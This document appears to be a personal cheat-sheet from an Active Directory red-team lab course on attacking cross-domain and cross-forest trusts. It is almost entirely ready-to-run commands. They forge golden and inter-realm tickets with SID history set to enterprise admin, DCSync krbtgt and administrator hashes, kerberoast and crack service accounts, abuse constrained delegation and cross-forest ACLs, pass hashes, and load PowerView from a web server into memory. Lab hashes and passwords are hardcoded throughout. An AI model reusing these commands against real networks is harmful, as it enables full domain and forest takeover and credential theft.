cross-domain/forest attacks

Trust Attributes:

  • 1024: PAM/PIM trsut
  • 1096: PAM + ExternalTrust + ForestTransitive

use AD CS with enterprise admin name

# use it to become enterprise admin
PS> C:\AD\Tools\Rubeus.exe asktgt /user:techcorp.local\Administrator /dc:techcorp-dc.techcorp.local /certificate:C:\AD\Tools\EA.pfx /password:SecretPass@123 /nowrap /ptt

use unconstrained delegation

  • need rubeus on computer with unconstrained delegation
  • use print-nightmare to extract ticket (DC$ of parent domain)
  • use dcsync to gain admin hash or krbtgt
PS> C:\AD\Tools\Rubeus.exe ptt /ticket:TGTofTECHCORP-DC$
PS> C:\AD\Tools\SharpKatz.exe --Command dcsync --User techcorp\administrator --Domain techcorp.local --DomainController techcorp-dc.techcorp.local

domain trust keys

  • with mimikatz perform lsadump::trust /patch
  • search for [ In ] external-domain to owned-domain
  • copy rc4_hmac_nt

from an admin shell:

PS> C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708 /sids:S-1-5-21-2781415573-3701854478-2406986946-519 /rc4:9fb9e247a02e6fde1631efa7fedce6a2 /user:Administrator /service:krbtgt /target:techcorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"
 
# and use it
PS> C:\AD\Tools\Rubeus.exe asktgs /ticket:C:\AD\Tools\trust_tkt.kirbi /service:CIFS/techcorp-dc.techcorp.local /dc:techcorp-dc.techcorp.local /ptt

create an inter-realm TGT with sid-history set to enterprise admin

From an admin shell:

PS> C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708 /krbtgt:b0975ae49f441adc6b024ad238935af5 /sids:S-1-5-21-2781415573-3701854478-2406986946-519 /ptt" "exit"

alternatively:

# dump admin credentials on dc (eu.local)
# in mimikatz: lsadump::dcsync /user:eu\euvendor$ /domain:eu.local
 
PS> C:\Users\Public\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:eu.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /rc4:629b1eaa7ec6cfe2f4943a853ad6b36b /service:krbtgt /target:euvendor.local /sids:S-1-5-21-4066061358-3942393892-617142613-519 /ticket:C:\Users\Public\sharedwitheu.kirbi" "exit"
 
PS> C:\Users\Public\Rubeus.exe asktgs /ticket:C:\Users\Public\sharedwitheu.kirbi /service:CIFS/euvendor-dc.euvendor.local /dc:euvendor-dc.euvendor.local /ptt C:\Users\Public\Rubeus.exe asktgs /ticket:C:\Users\Public\sharedwitheu.kirbi /service:CIFS/euvendor-dc.euvendor.local /dc:euvendor-dc.euvendor.local /ptt

check if there’s an SID > 1000 in the other forest to bypass sid filtering

PS> Get-ADGroup -Filter 'SID -ge "S-1-5-21-4066061358-3942393892-617142613-1000"' -Server euvendor.local
 
# use that
PS> C:\Users\Public\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:eu.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /rc4:629b1eaa7ec6cfe2f4943a853ad6b36b /service:krbtgt /target:euvendor.local /sids:S-1-5-21-4066061358-3942393892-617142613-1103 /ticket:C:\Users\Public\euvendornet.kirbi" "exit"
PS> C:\Users\Public\Rubeus.exe asktgs /ticket:C:\Users\Public\euvendornet.kirbi /service:HTTP/euvendor-net.euvendor.local /dc:euvendor-dc.euvendor.local /ptt

kerberoast trusting domains

PS> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
PS> Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
PS> Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
 
# identify target
PS> Get-ADTrust -Filter 'IntraForest -ne $true' | %{Get-ADUser -
Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName -Server $_.Name}
 
# kerberoast
PS> C:\AD\Tools\Rubeus.exe kerberoast /user:storagesvc /simple /domain:eu.local /outfile: C:\AD\Tools\euhashes.txt
 
# crack
PS> C:\AD\Tools\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\euhashes.txt

constrained delegation in trusting domain

# enumerate
PS> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
PS> Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
PS> Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
 
PS> Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server eu.local
 
# abuse - need to get the hash of the abusable account first
PS> C:\AD\Tools\Rubeus.exe hash /password:Qwerty@123 /user:storagesvc /domain:eu.local
 
# abuse
PS> C:\AD\Tools\Rubeus.exe s4u /user:storagesvc /rc4:5C76877A9C454CDED58807C20C20AEAC /impersonateuser:Administrator /domain:eu.local /msdsspn:nmagent/eu-dc.eu.local /altservice:ldap /dc:eu-dc.eu.local /ptt
PS> C:\AD\Tools\SharpKatz.exe --Command dcsync --User eu\krbtgt --Domain eu.local --DomainController eu-dc.eu.local

abuse interesting cross-forest ACLs

PS> iex (New-Object
Net.WebClient).DownloadString('http://192.168.100.x/PowerView.ps1')
 
# search for bidirectional forests
PS> Get-ForestTrust
 
# search for interesting ACLs in target forest
PS> Find-InterestingDomainAcl -ResolveGUIDs -Domain dbvendor.local
 
# abuse them
PS> Set-DomainUserPassword -Identity dbxsvc -AccountPassword (ConvertTo-SecureString 'Password@123' -AsPlainText -Force) -Domain dbvendor.local –Verbose

enumerate FSPs

  • only works for domain local groups (e.g., Administrators)

enumerate groups?

PS> Find-ForeignGroup –Verbose
 
# you get a MemberName (S-1-5-21-569087967-1859921580-1949641513-4102)
# look that up in the foreign trust
PS> Get-DomainUser -Domain dbvendor.local | ?{$_.ObjectSid -eq 'S-1-5-21-569087967-1859921580-1949641513-4101'}
 
# use the credentials of one of the foreign accounts to perform operation on my domain

enumerate users?

# search for -500 or something
PS> Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -Server bastion.local
 
# this should show the group that the FSP is member-of
PS> Get-ADGroup -Filter * -Properties Member -Server bastion.local | ?{$_.Member -match 'S-1-5-21-2781415573-3701854478-2406986946-500'}
 
# check access level SIDFilteringForstAware: False, ForestTransitive: True
PS> Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

on bastion-dc:

PS> C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:bastion\Administrator /domain:bastion.local" "exit"

And on the student machine:

PS> C:\AD\Tools\Rubeus.exe asktgt /domain:bastion.local /user:administrator /aes256:a32d8d07a45e115fa499cf58a2d98ef5bf49717af58bc4961c94c3c95fc03292 /dc:bastion-dc.bastion.local /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
 
PS> echo F | xcopy C:\AD\Tools\InviShell\InShellProf.dll \\bastion-dc.bastion.local\C$\Users\Public\InShellProf.dll /Y
PS> echo F | xcopy C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat \\bastion-dc.bastion.local\C$\Users\Public\RunWithRegistryNonAdmin.bat /Y
PS> winrs -r:bastion-dc.bastion.local cmd
PS> C:\Users\Public\RunWithRegistryNonAdmin.bat
 
# check if sid history is allowed for production.local (ForestTransitive: True, SIDFilteringForestAware: True, TrustAttributes:1096)
PS> Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)} -Server production.local
 
# search for shadow principals
PS> Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (GetADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

now directly connect through IP (as production.local has no DNS record):

# get the IP
PS> Get-DnsServerZone -ZoneName production.local |fl *
PS> Set-Item WSMan:\localhost\Client\TrustedHosts * -Force
PS> C:\AD\Tools\SafetyKatz.exe "sekurlsa::opassth /user:administrator /domain:bastion.local /ntlm:f29207796c9e6829aa1882b7cccfa36d /run:powershell.exe" "exit"
PS> Enter-PSSession 192.168.102.1 -Authentication NegotiateWithImplicitCredential